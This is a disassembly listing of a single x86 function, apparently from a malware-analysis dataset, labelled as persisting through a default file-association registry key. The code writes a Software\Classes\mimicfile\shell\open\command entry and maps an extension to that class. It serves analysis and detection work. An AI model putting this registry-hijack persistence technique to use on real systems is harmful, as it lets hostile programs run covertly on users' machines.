Function at 0x47d1a0
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57d4e3
mov eax, dword fs:[0]
push eax
sub esp, 0x84
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x5f7b74], 8
mov edx, 0x5f7b60
cmovae edx, dword [0x5f7b60]
sub esp, 0x18
mov esi, esp
mov ecx, edx
xor eax, eax
mov dword [esi + 0x10], 0
lea edi, [ecx + 2]
mov dword [esi + 0x14], 7
mov word [esi], ax
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x47d200
sub ecx, edi
sar ecx, 1
push ecx
push edx
mov ecx, esi
call fcn.0044b740
call fcn.0047aa50
add esp, 0x18
test eax, eax
jne 0x47d280
call fcn.004574d0
cmp dword [0x5f7b74], 8
mov edx, 0x5f7b60
cmovae edx, dword [0x5f7b60]
sub esp, 0x18
mov esi, esp
mov ecx, edx
xor eax, eax
mov dword [esi + 0x10], 0
lea edi, [ecx + 2]
mov dword [esi + 0x14], 7
mov word [esi], ax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x47d260
sub ecx, edi
sar ecx, 1
push ecx
push edx
mov ecx, esi
call fcn.0044b740
call fcn.0047aa50
add esp, 0x18
push 0xd
xor eax, eax
mov dword [ebp - 0x60], 0
push str.notepad.exe__
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x5c], 7
mov word [ebp - 0x70], ax
call fcn.0044b740
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x70]
cmp dword [0x5f7b8c], 8
mov eax, 0x5f7b78
push dword [0x5f7b88]
cmovae eax, dword [0x5f7b78]
push eax
call fcn.00452fa0
push 1
push 0x5e3180
lea ecx, [ebp - 0x70]
call fcn.00452fa0
mov eax, dword [ebp - 0x60]
push 0
lea ebx, [eax + eax]
lea eax, [ebp - 0x74]
push eax
push 0
push 0x20106
push 0
xor eax, eax
cmp byte [0x5fdba3], al
push 0
push 0
setne al
push str.SoftwareClassesmimicfile_shellopencommand
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x47d33d
cmp dword [ebp - 0x5c], 8
lea eax, [ebp - 0x70]
push ebx
cmovae eax, dword [ebp - 0x70]
push eax
push 1
push 0
push 0
push dword [ebp - 0x74]
call esi
push dword [ebp - 0x74]
call edi
push 0x11
xor eax, eax
mov dword [ebp - 0x48], 0
push str.SoftwareClasses_
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
call fcn.0044b740
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
push 1
xor eax, eax
mov dword [ebp - 0x30], 0
push 0x5e15b0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
call fcn.0044b740
push 0x5f7b30
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 2
call fcn.0044d140
mov byte [ebp - 4], 3
lea eax, [ebp - 0x8c]
cmp dword [ebp - 0x78], 8
lea ecx, [ebp - 0x40]
push dword [ebp - 0x7c]
cmovae eax, dword [ebp - 0x8c]
push eax
call fcn.00452fa0
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x78]
cmp edx, 8
jb 0x47d3fd
mov ecx, dword [ebp - 0x8c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x47d3f3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x47d5e5
push edx
push ecx
call fcn.00536da7
add esp, 8
cmp dword [ebp - 0x2c], 8
lea eax, [ebp - 0x40]
cmovae eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov edx, eax
lea ebx, [edx + 2]
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x47d414
sub edx, ebx
lea ecx, [ebp - 0x58]
sar edx, 1
push edx
push eax
call fcn.00452fa0
push 9
xor eax, eax
mov dword [ebp - 0x18], 0
push str.mimicfile
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.0044b740
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x74]
cmp dword [ebp - 0x44], 8
lea ecx, [ebp - 0x58]
push 0
cmovae ecx, dword [ebp - 0x58]
push edx
push 0
push 0x20106
lea ebx, [eax + eax]
xor eax, eax
cmp byte [0x5fdba3], al
push 0
push 0
push 0
setne al
add eax, 0x80000001
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x47d4ad
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push ebx
cmovae eax, dword [ebp - 0x28]
push eax
push 1
push 0
push 0
push dword [ebp - 0x74]
call esi
push dword [ebp - 0x74]
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x47d4e7
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x47d4dd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x47d5ea
push edx
push ecx
call fcn.00536da7
add esp, 8
mov edx, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x47d535
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x47d52b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x47d5ef
push edx
push ecx
call fcn.00536da7
add esp, 8
mov edx, dword [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp edx, 8
jb 0x47d57f
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x47d575
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x47d5f4
push edx
push ecx
call fcn.00536da7
add esp, 8
mov edx, dword [ebp - 0x5c]
xor eax, eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
cmp edx, 8
jb 0x47d5c9
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x47d5bf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x47d5f9
push edx
push ecx
call fcn.00536da7
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00536b66
mov esp, ebp
pop ebp
ret
call fcn.00552841
call fcn.00552841
call fcn.00552841
call fcn.00552841
call fcn.00552841
int3